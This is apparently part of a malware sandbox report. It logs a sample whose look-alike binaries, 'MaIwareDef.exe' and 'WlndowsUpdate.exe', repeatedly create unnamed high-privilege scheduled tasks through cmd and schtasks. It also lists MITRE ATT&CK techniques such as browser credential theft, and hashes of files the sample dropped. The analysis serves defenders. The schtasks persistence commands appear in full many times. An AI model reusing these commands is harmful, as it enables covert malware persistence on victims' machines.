  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:1988
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:5896
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3664
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4400

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:1584
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:5728
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6060
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2320
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:5852

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:3620
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7116
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4576
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6536
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8072

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:1412
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6960
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3380
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7100
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6760

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4044
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6840
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4292
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7036
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1740

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4268
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6992
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:5276
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6512
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:6888

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:5464
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6560
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:7288
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6780
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:8120

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4300
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6360
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3428
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2740
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5280

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4140
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7164
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:8164
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4592
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:476

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:2216
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2176
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7876
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4480
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8112

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:3148
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2064
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:7864
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6324
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:8096

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:5476
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7088
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:6736
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6524
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7064

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:608
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7356
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:6260
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7520
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7252

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4628
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6556
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:7920
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1528
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5740

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:3568
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4832
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7188
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7368
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6128

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:3412
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7440
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2484
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7572
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7140

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:5892
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6668
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7532
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4800
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:8184

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4216
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6728
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6736
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7596
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:1556

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:3692
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6868
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6552
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7028
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6180

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:3328
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6372
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:7732
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4672
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:8172

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:1968
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6828
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7424
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2380
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8048

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:5656
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:7136
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7912
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:7148
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7192

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:464
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6776
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:7452
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6272
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7960

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4068
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:4392
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:7832
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:6160
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7948

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4080
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:6712
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:7416
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:4100
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:7216

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:1920
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:2692
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:7684
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:924
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

Submit Download

F15827BEC5BABE89C21DCDAE77464BF1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F15827BEC5BABE89C21DCDAE77464BF1
Size 701B
SHA256 108dd34232a3088b45534933d0486409616a2bbad94fd8f7ab5991c01ff179b6
MD5 2b24bfcd271b4f2bd1bb9c58db53c20d
SHA1 12a18dbf2f27f02650e15c0d75e1bb7c50cf3d4b
SHA512 785dd247c3809434ad535b7c954c20c4d5661c00d9bf274fa9ca68595fd5dd98eced3b3e3602593da20bf810edd6b5f3592703176a61e15033267271b8750938
TLSH
T18F019E1983B02F025F801E462200D0628EFCF3DCAC243B89AAD9E8021805BA0A9D81DE
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 7f6e624777a3c81f549ca96f52e8bfcac15e95f159f891370fb221bf5c65f1e7
MD5 b5f979a0bd7f5cb6b5269b39faa287d5
SHA1 e66b1c984c4699516548242a48ff3410245234df
SHA512 a299b043fa9d7309e84cda157ca06ad1b0d20b77ce42abc4a15342242d691bce8a886b944f0e612fac67ed7c39db29a898dd1c0f713b5c873c3c1b66fa7a2f7d
TLSH
T185C08C2C1AA61A0AF2A8437C56C23E539B218201E2418F091AF13A08C997B166878C2A
MD5 SHA1 SHA512 TLSH

Submit Download

F15827BEC5BABE89C21DCDAE77464BF1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F15827BEC5BABE89C21DCDAE77464BF1
Size 192B
SHA256 a7727c16a365f735fa063cd58d56c69ecf2cc88ce804676139e5a0a0665b9a47
MD5 893954165835118fff024414f037ea12
SHA1 2362c550b6814ac17612c0ec84c8cdfc835af416
SHA512 06801eb80201efd578d4908caa479b031f2bc7aa07398903fbe899e68f3fe6d7b499675a39974b02bd76513ad34f3f30ea2400d13561f6bbde83bd629344a6b7
TLSH
T1B0C08C1C06A5460AF6A883B802D22D839A219120F3819F1526B13A08CE28F122834C29
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f7bbcfdbe12c11375cf4a3c2e3da7934322451d39a7b452e470c9ac60e637fcd
MD5 2708eb65d5bbb5ab09b5d042c332201b
SHA1 77d4f16e7ceca9a2f1d4a811a1be38e4cc4ae879
SHA512 a7c08464133ab24626ec05618d945ce530cb12dcd5fb62b41bf127249cab7800fa59247e3586af8826a22c817499c16d482953b2746a4cf07ed3f86638a526fd
TLSH
T103216833F3DD8614C89A413A10CDAC1036B6C7DB41DECEAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3c6611e8e235e3fa1d74581bac968a262d492d8c69476fa2175ebbd88af4723e
MD5 bf37f301835dfb5600ddbb7e20f8562e
SHA1 4713a57fabf5f994443cde025c1e9f1019a864a2
SHA512 69903af5f215d9baa308400c43ec4fe5c44c088dd9cc7d23dde59aa2990dea9a1247447eaec909aabc0a34dbb32fa10df517c880488bc0ea5693c17431b75b62
TLSH
T124218937B3DC8724CC8A413A50CEAC1036B6C7DB40DECEAB7B84D554B42F299DE605A0
